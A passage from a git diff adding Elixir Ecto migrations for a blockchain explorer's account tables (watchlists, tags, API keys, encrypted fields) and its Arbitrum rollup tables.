:utc_datetime_usec) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:account_watchlist_notifications, [:watchlist_address_id])) + create(index(:account_watchlist_notifications, [:transaction_hash])) + create(index(:account_watchlist_notifications, [:from_address_hash])) + create(index(:account_watchlist_notifications, [:to_address_hash])) + end +end diff --git a/apps/explorer/priv/account/migrations/20211205220414_add_email_and_name_to_account_identity.exs b/apps/explorer/priv/account/migrations/20211205220414_add_email_and_name_to_account_identity.exs new file mode 100644 index 000000000000..0633e0dbaeac --- /dev/null +++ b/apps/explorer/priv/account/migrations/20211205220414_add_email_and_name_to_account_identity.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Account.Migrations.AddEmailToAccountIdentity do + use Ecto.Migration + + def change do + alter table(:account_identities) do + add(:email, :string) + add(:name, :string) + end + end +end diff --git a/apps/explorer/priv/account/migrations/20220212222222_create_account_tag_addresses.exs b/apps/explorer/priv/account/migrations/20220212222222_create_account_tag_addresses.exs new file mode 100644 index 000000000000..df0074041ee9 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220212222222_create_account_tag_addresses.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.Account.Migrations.CreateAccountTagAddresses do + use Ecto.Migration + + def change do + create table(:account_tag_addresses) do + add(:name, :string) + add(:identity_id, references(:account_identities, on_delete: :delete_all)) + + add(:address_hash, :bytea, null: false) + + timestamps() + end + + create(index(:account_tag_addresses, [:identity_id])) + create(index(:account_tag_addresses, [:address_hash])) + end +end diff --git a/apps/explorer/priv/account/migrations/20220313133333_create_account_tag_transactions.exs b/apps/explorer/priv/account/migrations/20220313133333_create_account_tag_transactions.exs new file mode 100644 index 000000000000..ba6fa338b984 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220313133333_create_account_tag_transactions.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.Account.Migrations.CreateAccountTagTransactions do + use Ecto.Migration + + def change do + create table(:account_tag_transactions) do + add(:name, :string) + add(:identity_id, references(:account_identities, on_delete: :delete_all)) + + add(:tx_hash, :bytea, null: false) + + timestamps() + end + + create(index(:account_tag_transactions, [:identity_id])) + create(index(:account_tag_transactions, [:tx_hash])) + end +end diff --git a/apps/explorer/priv/account/migrations/20220324213333_add_subject_to_watchlist_notifications.exs b/apps/explorer/priv/account/migrations/20220324213333_add_subject_to_watchlist_notifications.exs new file mode 100644 index 000000000000..6ff8a359ba4d --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220324213333_add_subject_to_watchlist_notifications.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Account.Migrations.AddSubjectToWatchlistNotifications do + use Ecto.Migration + + def change do + alter table(:account_watchlist_notifications) do + add(:subject, :string, null: true) + end + end +end diff --git a/apps/explorer/priv/account/migrations/20220407134152_add_api_keys_and_plans_tables.exs b/apps/explorer/priv/account/migrations/20220407134152_add_api_keys_and_plans_tables.exs new file mode 100644 index 000000000000..11f23ffd6126 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220407134152_add_api_keys_and_plans_tables.exs @@ -0,0 +1,33 @@ +defmodule Explorer.Repo.Account.Migrations.AddApiKeysAndPlansTables do + use Ecto.Migration + + def change do + create table(:account_api_plans, primary_key: false) do + add(:id, :serial, null: false, primary_key: true) + add(:max_req_per_second, :smallint) + add(:name, :string, null: false) + + timestamps() + end + + create(unique_index(:account_api_plans, [:id, :max_req_per_second, :name])) + + execute( + "INSERT INTO account_api_plans (id, max_req_per_second, name, inserted_at, updated_at) VALUES (1, 10, 'Free Plan', NOW(), NOW());" + ) + + create table(:account_api_keys, primary_key: false) do + add(:identity_id, references(:account_identities, column: :id, on_delete: :delete_all), null: false) + add(:name, :string, null: false) + add(:value, :uuid, null: false, primary_key: true) + + timestamps() + end + + alter table(:account_identities) do + add(:plan_id, references(:account_api_plans, column: :id), default: 1) + end + + create(index(:account_api_keys, [:identity_id])) + end +end diff --git a/apps/explorer/priv/account/migrations/20220510094118_add_custom_abis_table.exs b/apps/explorer/priv/account/migrations/20220510094118_add_custom_abis_table.exs new file mode 100644 index 000000000000..a248c79458bf --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220510094118_add_custom_abis_table.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Repo.Account.Migrations.AddCustomAbisTable do + use Ecto.Migration + + def change do + create table(:account_custom_abis, primary_key: false) do + add(:id, :serial, null: false, primary_key: true) + add(:identity_id, references(:account_identities, column: :id, on_delete: :delete_all), null: false) + add(:name, :string, null: false) + add(:address_hash, :bytea, null: false) + add(:abi, :jsonb, null: false) + + timestamps() + end + + create(unique_index(:account_custom_abis, [:identity_id, :address_hash])) + create(index(:account_custom_abis, [:identity_id])) + end +end diff --git a/apps/explorer/priv/account/migrations/20220606194836_add_account_public_tags_requests.exs b/apps/explorer/priv/account/migrations/20220606194836_add_account_public_tags_requests.exs new file mode 100644 index 000000000000..dd0a9896b0ca --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220606194836_add_account_public_tags_requests.exs @@ -0,0 +1,23 @@ +defmodule Explorer.Repo.Account.Migrations.AddAccountPublicTagsRequests do + use Ecto.Migration + + def change do + create table(:account_public_tags_requests) do + add(:identity_id, references(:account_identities)) + add(:full_name, :string) + add(:email, :string) + add(:company, :string) + add(:website, :string) + add(:tags, :string) + add(:addresses, :text) + add(:description, :text) + add(:additional_comment, :string) + add(:request_type, :string) + add(:is_owner, :boolean) + add(:remove_reason, :text) + add(:request_id, :string) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/account/migrations/20220620182600_add_account_identity_fields.exs b/apps/explorer/priv/account/migrations/20220620182600_add_account_identity_fields.exs new file mode 100644 index 000000000000..1c7b13535f3c --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220620182600_add_account_identity_fields.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Account.Migrations.AddAccountIdentityFields do + use Ecto.Migration + + def change do + alter table("account_identities") do + add(:nickname, :string, null: true) + add(:avatar, :text, null: true) + end + end +end diff --git a/apps/explorer/priv/account/migrations/20220624142547_add_unique_constraints.exs b/apps/explorer/priv/account/migrations/20220624142547_add_unique_constraints.exs new file mode 100644 index 000000000000..53293983d4a6 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220624142547_add_unique_constraints.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Account.Migrations.AddUniqueConstraints do + use Ecto.Migration + + def change do + create(unique_index(:account_tag_addresses, [:identity_id, :address_hash])) + create(unique_index(:account_tag_transactions, [:identity_id, :tx_hash])) + create(unique_index(:account_watchlist_addresses, [:watchlist_id, :address_hash])) + end +end diff --git a/apps/explorer/priv/account/migrations/20220705195240_migrate_public_tags_addresses_to_array.exs b/apps/explorer/priv/account/migrations/20220705195240_migrate_public_tags_addresses_to_array.exs new file mode 100644 index 000000000000..1282e2166c15 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220705195240_migrate_public_tags_addresses_to_array.exs @@ -0,0 +1,34 @@ +defmodule Explorer.Repo.Account.Migrations.MigratePublicTagsAddressesToArray do + use Ecto.Migration + + def change do + alter table(:account_public_tags_requests) do + add(:addresses_duplicate, {:array, :bytea}) + end + + execute(""" + CREATE OR REPLACE FUNCTION convert(text[]) RETURNS bytea[] AS $$ + DECLARE + s bytea[] := ARRAY[]::bytea[]; + x text; + BEGIN + FOREACH x IN ARRAY $1 + LOOP + s := array_append(s, decode(replace(x, '0x', ''), 'hex')); + END LOOP; + RETURN s; + END; + $$ LANGUAGE plpgsql; + """) + + execute(""" + UPDATE account_public_tags_requests set addresses_duplicate = convert(string_to_array(addresses, ';')) + """) + + alter table(:account_public_tags_requests) do + remove(:addresses) + end + + rename(table(:account_public_tags_requests), :addresses_duplicate, to: :addresses) + end +end diff --git a/apps/explorer/priv/account/migrations/20220706114430_encrypt_account_data.exs b/apps/explorer/priv/account/migrations/20220706114430_encrypt_account_data.exs new file mode 100644 index 000000000000..c1fc49af2cd6 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220706114430_encrypt_account_data.exs @@ -0,0 +1,60 @@ +defmodule Explorer.Repo.Account.Migrations.EncryptAccountData do + use Ecto.Migration + + def change do + alter table(:account_identities) do + add(:encrypted_uid, :binary) + add(:uid_hash, :binary) + add(:encrypted_email, :binary) + add(:encrypted_name, :binary) + add(:encrypted_nickname, :binary, null: true) + add(:encrypted_avatar, :binary, null: true) + end + + # unused because we don't have personal watchlists, only autogenerated `default` for each identity + # alter table(:account_watchlists) do + # add(:encrypted_name, :binary) + # end + + alter table(:account_custom_abis) do + add(:address_hash_hash, :binary) + add(:encrypted_address_hash, :binary) + add(:encrypted_name, :binary) + end + + alter table(:account_tag_addresses) do + add(:address_hash_hash, :binary) + add(:encrypted_name, :binary) + add(:encrypted_address_hash, :binary) + end + + alter table(:account_tag_transactions) do + add(:tx_hash_hash, :binary) + add(:encrypted_name, :binary) + add(:encrypted_tx_hash, :binary) + end + + alter table(:account_watchlist_addresses) do + add(:address_hash_hash, :binary) + add(:encrypted_name, :binary) + add(:encrypted_address_hash, :binary) + end + + alter table(:account_watchlist_notifications) do + add(:encrypted_name, :binary) + add(:encrypted_subject, :binary, null: true) + add(:encrypted_from_address_hash, :binary) + add(:encrypted_to_address_hash, :binary) + add(:encrypted_transaction_hash, :binary) + add(:subject_hash, :binary, null: true) + add(:from_address_hash_hash, :binary, null: true) + add(:to_address_hash_hash, :binary, null: true) + add(:transaction_hash_hash, :binary, null: true) + end + + alter table(:account_public_tags_requests) do + add(:encrypted_email, :binary) + add(:encrypted_full_name, :binary) + end + end +end diff --git a/apps/explorer/priv/account/migrations/20220706153506_remove_unencrypted_fields.exs b/apps/explorer/priv/account/migrations/20220706153506_remove_unencrypted_fields.exs new file mode 100644 index 000000000000..c64e1e5edbe0 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220706153506_remove_unencrypted_fields.exs @@ -0,0 +1,79 @@ +defmodule Explorer.Repo.Account.Migrations.RemoveUnencryptedFields do + use Ecto.Migration + + def change do + alter table(:account_identities) do + remove(:uid) + remove(:email) + remove(:name) + remove(:nickname) + remove(:avatar) + end + + rename(table(:account_identities), :encrypted_uid, to: :uid) + rename(table(:account_identities), :encrypted_email, to: :email) + rename(table(:account_identities), :encrypted_name, to: :name) + rename(table(:account_identities), :encrypted_nickname, to: :nickname) + rename(table(:account_identities), :encrypted_avatar, to: :avatar) + + # unused because we don't have personal watchlists, only autogenerated `default` for each identity + # alter table(:account_watchlists) do + # remove(:name) + # end + # rename(table(:account_watchlists), :encrypted_name, to: :name) + + alter table(:account_custom_abis) do + remove(:address_hash) + remove(:name) + end + + rename(table(:account_custom_abis), :encrypted_address_hash, to: :address_hash) + rename(table(:account_custom_abis), :encrypted_name, to: :name) + + alter table(:account_tag_addresses) do + remove(:address_hash) + remove(:name) + end + + rename(table(:account_tag_addresses), :encrypted_address_hash, to: :address_hash) + rename(table(:account_tag_addresses), :encrypted_name, to: :name) + + alter table(:account_tag_transactions) do + remove(:tx_hash) + remove(:name) + end + + rename(table(:account_tag_transactions), :encrypted_tx_hash, to: :tx_hash) + rename(table(:account_tag_transactions), :encrypted_name, to: :name) + + alter table(:account_watchlist_addresses) do + remove(:address_hash) + remove(:name) + end + + rename(table(:account_watchlist_addresses), :encrypted_address_hash, to: :address_hash) + rename(table(:account_watchlist_addresses), :encrypted_name, to: :name) + + alter table(:account_watchlist_notifications) do + remove(:to_address_hash) + remove(:from_address_hash) + remove(:transaction_hash) + remove(:subject) + remove(:name) + end + + rename(table(:account_watchlist_notifications), :encrypted_name, to: :name) + rename(table(:account_watchlist_notifications), :encrypted_subject, to: :subject) + rename(table(:account_watchlist_notifications), :encrypted_from_address_hash, to: :from_address_hash) + rename(table(:account_watchlist_notifications), :encrypted_to_address_hash, to: :to_address_hash) + rename(table(:account_watchlist_notifications), :encrypted_transaction_hash, to: :transaction_hash) + + alter table(:account_public_tags_requests) do + remove(:full_name) + remove(:email) + end + + rename(table(:account_public_tags_requests), :encrypted_full_name, to: :full_name) + rename(table(:account_public_tags_requests), :encrypted_email, to: :email) + end +end diff --git a/apps/explorer/priv/account/migrations/20220706211444_set_new_indexes.exs b/apps/explorer/priv/account/migrations/20220706211444_set_new_indexes.exs new file mode 100644 index 000000000000..26abb92abeb2 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220706211444_set_new_indexes.exs @@ -0,0 +1,43 @@ +defmodule Explorer.Repo.Account.Migrations.SetNewIndexes do + use Ecto.Migration + + def change do + drop_if_exists(unique_index(:account_tag_addresses, [:identity_id, :address_hash])) + drop_if_exists(unique_index(:account_tag_transactions, [:identity_id, :tx_hash])) + drop_if_exists(unique_index(:account_watchlist_addresses, [:watchlist_id, :address_hash])) + drop_if_exists(unique_index(:account_custom_abis, [:identity_id, :address_hash])) + + drop_if_exists(index(:account_watchlist_notifications, [:transaction_hash])) + drop_if_exists(index(:account_watchlist_notifications, [:from_address_hash])) + drop_if_exists(index(:account_watchlist_notifications, [:to_address_hash])) + + drop_if_exists(unique_index(:account_identities, [:uid])) + + drop_if_exists(index(:account_tag_addresses, [:address_hash])) + drop_if_exists(index(:account_tag_transactions, [:tx_hash])) + + drop_if_exists(index(:account_watchlist_addresses, [:address_hash])) + + create(unique_index(:account_tag_addresses, [:identity_id, :address_hash_hash])) + create(unique_index(:account_tag_transactions, [:identity_id, :tx_hash_hash])) + + create( + unique_index(:account_watchlist_addresses, [:watchlist_id, :address_hash_hash], + name: "unique_watchlist_id_address_hash_hash_index" + ) + ) + + create(unique_index(:account_custom_abis, [:identity_id, :address_hash_hash])) + + create(index(:account_watchlist_notifications, [:transaction_hash_hash])) + create(index(:account_watchlist_notifications, [:from_address_hash_hash])) + create(index(:account_watchlist_notifications, [:to_address_hash_hash])) + + create(unique_index(:account_identities, [:uid_hash])) + + create(index(:account_tag_addresses, [:address_hash_hash])) + create(index(:account_tag_transactions, [:tx_hash_hash])) + + create(index(:account_watchlist_addresses, [:address_hash_hash])) + end +end diff --git a/apps/explorer/priv/account/migrations/20220905195203_remove_guardian_tokens.exs b/apps/explorer/priv/account/migrations/20220905195203_remove_guardian_tokens.exs new file mode 100644 index 000000000000..2c76df8099c0 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20220905195203_remove_guardian_tokens.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Account.Migrations.RemoveGuardianTokens do + use Ecto.Migration + + def change do + drop_if_exists(table("guardian_tokens")) + end +end diff --git a/apps/explorer/priv/account/migrations/20221104104635_create_token_transfer_token_id_migrator_progress.exs b/apps/explorer/priv/account/migrations/20221104104635_create_token_transfer_token_id_migrator_progress.exs new file mode 100644 index 000000000000..2fa317af207a --- /dev/null +++ b/apps/explorer/priv/account/migrations/20221104104635_create_token_transfer_token_id_migrator_progress.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Account.Migrations.CreateTokenTransferTokenIdMigratorProgress do + use Ecto.Migration + + def change do + create table(:token_transfer_token_id_migrator_progress) do + add(:last_processed_block_number, :integer) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/account/migrations/20230502083519_add_verification_email_sent_at.exs b/apps/explorer/priv/account/migrations/20230502083519_add_verification_email_sent_at.exs new file mode 100644 index 000000000000..a3145bab492c --- /dev/null +++ b/apps/explorer/priv/account/migrations/20230502083519_add_verification_email_sent_at.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Account.Migrations.AddVerificationEmailSentAt do + use Ecto.Migration + + def change do + alter table(:account_identities) do + add(:verification_email_sent_at, :"timestamp without time zone", null: true) + end + end +end diff --git a/apps/explorer/priv/account/migrations/20231207201701_add_watchlist_id_column.exs b/apps/explorer/priv/account/migrations/20231207201701_add_watchlist_id_column.exs new file mode 100644 index 000000000000..176b65cd5a84 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20231207201701_add_watchlist_id_column.exs @@ -0,0 +1,23 @@ +defmodule Explorer.Repo.Account.Migrations.AddWatchlistIdColumn do + use Ecto.Migration + + def change do + execute(""" + ALTER TABLE account_watchlist_notifications + DROP CONSTRAINT account_watchlist_notifications_watchlist_address_id_fkey; + """) + + alter table(:account_watchlist_notifications) do + add(:watchlist_id, :bigserial) + end + + create(index(:account_watchlist_notifications, [:watchlist_id])) + + execute(""" + UPDATE account_watchlist_notifications awn + SET watchlist_id = awa.watchlist_id + FROM account_watchlist_addresses awa + WHERE awa.id = awn.watchlist_address_id + """) + end +end diff --git a/apps/explorer/priv/account/migrations/20240219152220_add_account_watchlist_addresses_erc_404_fields.exs b/apps/explorer/priv/account/migrations/20240219152220_add_account_watchlist_addresses_erc_404_fields.exs new file mode 100644 index 000000000000..7fbb08a48cd4 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20240219152220_add_account_watchlist_addresses_erc_404_fields.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Account.Migrations.AddAccountWatchlistAddressesErc404Fields do + use Ecto.Migration + + def change do + alter table(:account_watchlist_addresses) do + add(:watch_erc_404_input, :boolean, default: true) + add(:watch_erc_404_output, :boolean, default: true) + end + end +end diff --git a/apps/explorer/priv/account/migrations/20240913194307_account_v2.exs b/apps/explorer/priv/account/migrations/20240913194307_account_v2.exs new file mode 100644 index 000000000000..824f7f6c96fc --- /dev/null +++ b/apps/explorer/priv/account/migrations/20240913194307_account_v2.exs @@ -0,0 +1,50 @@ +defmodule Explorer.Repo.Account.Migrations.AccountV2 do + use Ecto.Migration + + def change do + alter table(:account_identities) do + remove(:name) + remove(:nickname) + add(:otp_sent_at, :"timestamp without time zone", null: true) + end + + alter table(:account_custom_abis) do + add(:user_created, :boolean, default: true) + end + + alter table(:account_tag_addresses) do + add(:user_created, :boolean, default: true) + end + + alter table(:account_tag_transactions) do + add(:user_created, :boolean, default: true) + end + + alter table(:account_watchlist_addresses) do + add(:user_created, :boolean, default: true) + end + + drop_if_exists(unique_index(:account_custom_abis, [:identity_id, :address_hash_hash])) + drop_if_exists(unique_index(:account_tag_addresses, [:identity_id, :address_hash_hash])) + drop_if_exists(unique_index(:account_tag_transactions, [:identity_id, :tx_hash_hash])) + + drop_if_exists( + unique_index(:account_watchlist_addresses, [:watchlist_id, :address_hash_hash], + name: "unique_watchlist_id_address_hash_hash_index" + ) + ) + + create(unique_index(:account_custom_abis, [:identity_id, :address_hash_hash], where: "user_created = true")) + + create(unique_index(:account_tag_addresses, [:identity_id, :address_hash_hash], where: "user_created = true")) + + create(unique_index(:account_tag_transactions, [:identity_id, :tx_hash_hash], where: "user_created = true")) + + create( + unique_index(:account_watchlist_addresses, [:watchlist_id, :address_hash_hash], + name: "unique_watchlist_id_address_hash_hash_index", + where: "user_created = true" + ) + ) + end +end diff --git a/apps/explorer/priv/account/migrations/20241015091450_rename_tx_hash_field.exs b/apps/explorer/priv/account/migrations/20241015091450_rename_tx_hash_field.exs new file mode 100644 index 000000000000..61e1b43dc0a1 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20241015091450_rename_tx_hash_field.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Account.Migrations.RenameTxHashField do + use Ecto.Migration + + def change do + rename(table(:account_tag_transactions), :tx_hash, to: :transaction_hash) + rename(table(:account_tag_transactions), :tx_hash_hash, to: :transaction_hash_hash) + rename(table(:account_watchlist_notifications), :tx_fee, to: :transaction_fee) + end +end diff --git a/apps/explorer/priv/account/migrations/20241121140138_remove_abused_api_keys.exs b/apps/explorer/priv/account/migrations/20241121140138_remove_abused_api_keys.exs new file mode 100644 index 000000000000..c4fe2b74a579 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20241121140138_remove_abused_api_keys.exs @@ -0,0 +1,20 @@ +defmodule Explorer.Repo.Account.Migrations.RemoveAbusedApiKeys do + use Ecto.Migration + + def up do + execute(""" + WITH ranked_keys AS (SELECT value, + identity_id, + inserted_at, + ROW_NUMBER() OVER ( + PARTITION BY identity_id + ) as row_number + FROM account_api_keys) + DELETE + FROM account_api_keys + WHERE value IN (SELECT value + FROM ranked_keys + WHERE row_number > 3) + """) + end +end diff --git a/apps/explorer/priv/account/migrations/20241128100836_remove_abused_custom_abis.exs b/apps/explorer/priv/account/migrations/20241128100836_remove_abused_custom_abis.exs new file mode 100644 index 000000000000..4c33d0c8ea38 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20241128100836_remove_abused_custom_abis.exs @@ -0,0 +1,19 @@ +defmodule Explorer.Repo.Account.Migrations.RemoveAbusedCustomAbis do + use Ecto.Migration + + def up do + execute(""" + WITH ranked_abis AS (SELECT id, + identity_id, + ROW_NUMBER() OVER ( + PARTITION BY identity_id + ) as row_number + FROM account_custom_abis) + DELETE + FROM account_custom_abis + WHERE id IN (SELECT id + FROM ranked_abis + WHERE row_number > 15) + """) + end +end diff --git a/apps/explorer/priv/account/migrations/20241204093817_remove_abused_public_tags_request.exs b/apps/explorer/priv/account/migrations/20241204093817_remove_abused_public_tags_request.exs new file mode 100644 index 000000000000..65a0ab542753 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20241204093817_remove_abused_public_tags_request.exs @@ -0,0 +1,19 @@ +defmodule Explorer.Repo.Account.Migrations.RemoveAbusedPublicTagsRequest do + use Ecto.Migration + + def up do + execute(""" + WITH ranked_public_tags_requests AS (SELECT id, + identity_id, + ROW_NUMBER() OVER ( + PARTITION BY identity_id + ) as row_number + FROM account_public_tags_requests) + DELETE + FROM account_public_tags_requests + WHERE id IN (SELECT id + FROM ranked_public_tags_requests + WHERE row_number > 15) + """) + end +end diff --git a/apps/explorer/priv/account/migrations/20250815115250_drop_account_public_tags_requests.exs b/apps/explorer/priv/account/migrations/20250815115250_drop_account_public_tags_requests.exs new file mode 100644 index 000000000000..28386f20bde3 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20250815115250_drop_account_public_tags_requests.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Account.Migrations.DropAccountPublicTagsRequests do + use Ecto.Migration + + def change do + drop(table(:account_public_tags_requests)) + end +end diff --git a/apps/explorer/priv/arbitrum/migrations/20240201125730_create_arbitrum_tables.exs b/apps/explorer/priv/arbitrum/migrations/20240201125730_create_arbitrum_tables.exs new file mode 100644 index 000000000000..3181ad01932b --- /dev/null +++ b/apps/explorer/priv/arbitrum/migrations/20240201125730_create_arbitrum_tables.exs @@ -0,0 +1,124 @@ +defmodule Explorer.Repo.Arbitrum.Migrations.CreateArbitrumTables do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE arbitrum_messages_op_type AS ENUM ('to_l2', 'from_l2')", + "DROP TYPE arbitrum_messages_op_type" + ) + + execute( + "CREATE TYPE arbitrum_messages_status AS ENUM ('initiated', 'sent', 'confirmed', 'relayed')", + "DROP TYPE arbitrum_messages_status" + ) + + execute( + "CREATE TYPE l1_tx_status AS ENUM ('unfinalized', 'finalized')", + "DROP TYPE l1_tx_status" + ) + + create table(:arbitrum_crosslevel_messages, primary_key: false) do + add(:direction, :arbitrum_messages_op_type, null: false, primary_key: true) + add(:message_id, :integer, null: false, primary_key: true) + add(:originator_address, :bytea, null: true) + add(:originating_transaction_hash, :bytea, null: true) + add(:origination_timestamp, :"timestamp without time zone", null: true) + add(:originating_transaction_block_number, :bigint, null: true) + add(:completion_transaction_hash, :bytea, null: true) + add(:status, :arbitrum_messages_status, null: false) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:arbitrum_crosslevel_messages, [:direction, :originating_transaction_block_number, :status])) + create(index(:arbitrum_crosslevel_messages, [:direction, :completion_transaction_hash])) + + create table(:arbitrum_lifecycle_l1_transactions, primary_key: false) do + add(:id, :integer, null: false, primary_key: true) + add(:hash, :bytea, null: false) + add(:block_number, :integer, null: false) + add(:timestamp, :"timestamp without time zone", null: false) + add(:status, :l1_tx_status, null: false) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(unique_index(:arbitrum_lifecycle_l1_transactions, :hash)) + create(index(:arbitrum_lifecycle_l1_transactions, [:block_number, :status])) + + create table(:arbitrum_l1_executions, primary_key: false) do + add(:message_id, :integer, null: false, primary_key: true) + + add( + :execution_id, + references(:arbitrum_lifecycle_l1_transactions, on_delete: :restrict, on_update: :update_all, type: :integer), + null: false + ) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create table(:arbitrum_l1_batches, primary_key: false) do + add(:number, :integer, null: false, primary_key: true) + add(:transactions_count, :integer, null: false) + add(:start_block, :integer, null: false) + add(:end_block, :integer, null: false) + add(:before_acc, :bytea, null: false) + add(:after_acc, :bytea, null: false) + + add( + :commitment_id, + references(:arbitrum_lifecycle_l1_transactions, on_delete: :restrict, on_update: :update_all, type: :integer), + null: false + ) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create table(:arbitrum_batch_l2_blocks, primary_key: false) do + add( + :batch_number, + references(:arbitrum_l1_batches, + column: :number, + on_delete: :delete_all, + on_update: :update_all, + type: :integer + ), + null: false + ) + + add( + :confirmation_id, + references(:arbitrum_lifecycle_l1_transactions, on_delete: :restrict, on_update: :update_all, type: :integer), + null: true + ) + + # Although it is possible to recover the block number from the block hash, + # it is more efficient to store it directly + # There could be no DB inconsistencies with `blocks` table caused be re-orgs + # because the blocks will appear in the table `arbitrum_batch_l2_blocks` + # only when they are included in the batch. + add(:block_number, :integer, null: false, primary_key: true) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:arbitrum_batch_l2_blocks, :batch_number)) + create(index(:arbitrum_batch_l2_blocks, :confirmation_id)) + + create table(:arbitrum_batch_l2_transactions, primary_key: false) do + add( + :batch_number, + references(:arbitrum_l1_batches, + column: :number, + on_delete: :delete_all, + on_update: :update_all, + type: :integer + ), + null: false + ) + + add(:tx_hash, :bytea, null: false, primary_key: true) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:arbitrum_batch_l2_transactions, :batch_number)) + end +end diff --git a/apps/explorer/priv/arbitrum/migrations/20240510184858_extend_transaction_and_block_tables.exs b/apps/explorer/priv/arbitrum/migrations/20240510184858_extend_transaction_and_block_tables.exs new file mode 100644 index 000000000000..3bc802b127e1 --- /dev/null +++ b/apps/explorer/priv/arbitrum/migrations/20240510184858_extend_transaction_and_block_tables.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Arbitrum.Migrations.ExtendTransactionAndBlockTables do + use Ecto.Migration + + def change do + alter table(:blocks) do + add(:send_count, :integer) + add(:send_root, :bytea) + add(:l1_block_number, :integer) + end + + alter table(:transactions) do + add(:gas_used_for_l1, :numeric, precision: 100) + end + end +end diff --git a/apps/explorer/priv/arbitrum/migrations/20240527212653_add_da_info.exs b/apps/explorer/priv/arbitrum/migrations/20240527212653_add_da_info.exs new file mode 100644 index 000000000000..ee81ae9f74e8 --- /dev/null +++ b/apps/explorer/priv/arbitrum/migrations/20240527212653_add_da_info.exs @@ -0,0 +1,25 @@ +defmodule Explorer.Repo.Arbitrum.Migrations.AddDaInfo do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE arbitrum_da_containers_types AS ENUM ('in_blob4844', 'in_calldata', 'in_celestia', 'in_anytrust')", + "DROP TYPE arbitrum_da_containers_types" + ) + + alter table(:arbitrum_l1_batches) do + add(:batch_container, :arbitrum_da_containers_types) + end + + create table(:arbitrum_da_multi_purpose, primary_key: false) do + add(:data_key, :bytea, null: false, primary_key: true) + add(:data_type, :integer, null: false) + add(:data, :map, null: false) + add(:batch_number, :integer) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:arbitrum_da_multi_purpose, [:data_type, :data_key])) + create(index(:arbitrum_da_multi_purpose, [:data_type, :batch_number])) + end +end diff --git a/apps/explorer/priv/arbitrum/migrations/20240628210148_add_index_for_messages.exs b/apps/explorer/priv/arbitrum/migrations/20240628210148_add_index_for_messages.exs new file mode 100644 index 000000000000..9a62a7c41248 --- /dev/null +++ b/apps/explorer/priv/arbitrum/migrations/20240628210148_add_index_for_messages.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Arbitrum.Migrations.AddIndexForMessages do + use Ecto.Migration + + def change do + # name of the index is specified explicitly because the default index name is cut and not unique + create( + index( + :arbitrum_crosslevel_messages, + [:direction, :originating_transaction_block_number, :originating_transaction_hash], + name: :arbitrum_crosslevel_messages_dir_block_hash + ) + ) + end +end diff --git a/apps/explorer/priv/arbitrum/migrations/20241015093220_rename_tx_hash_field_arbitrum.exs b/apps/explorer/priv/arbitrum/migrations/20241015093220_rename_tx_hash_field_arbitrum.exs new file mode 100644 index 000000000000..2e6aa5028e04 --- /dev/null +++ b/apps/explorer/priv/arbitrum/migrations/20241015093220_rename_tx_hash_field_arbitrum.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Arbitrum.Migrations.RenameTxHashFieldArbitrum do + use Ecto.Migration + + def change do + rename(table(:arbitrum_batch_l2_transactions), :tx_hash, to: :transaction_hash) + end +end diff --git a/apps/explorer/priv/arbitrum/migrations/20241111195112_add_stylus_fields.exs b/apps/explorer/priv/arbitrum/migrations/20241111195112_add_stylus_fields.exs new file mode 100644 index 000000000000..fb9ae49174e1 --- /dev/null +++ b/apps/explorer/priv/arbitrum/migrations/20241111195112_add_stylus_fields.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Arbitrum.Migrations.AddStylusFields do + use Ecto.Migration + + def change do + alter table(:smart_contracts) do + add(:package_name, :string, null: true) + add(:github_repository_metadata, :jsonb, null: true) + end + end +end diff --git a/apps/explorer/priv/arbitrum/migrations/20241217155103_add_data_blobs_to_batches_table.exs b/apps/explorer/priv/arbitrum/migrations/20241217155103_add_data_blobs_to_batches_table.exs new file mode 100644 index 000000000000..a1a03458284c --- /dev/null +++ b/apps/explorer/priv/arbitrum/migrations/20241217155103_add_data_blobs_to_batches_table.exs @@ -0,0 +1,35 @@ 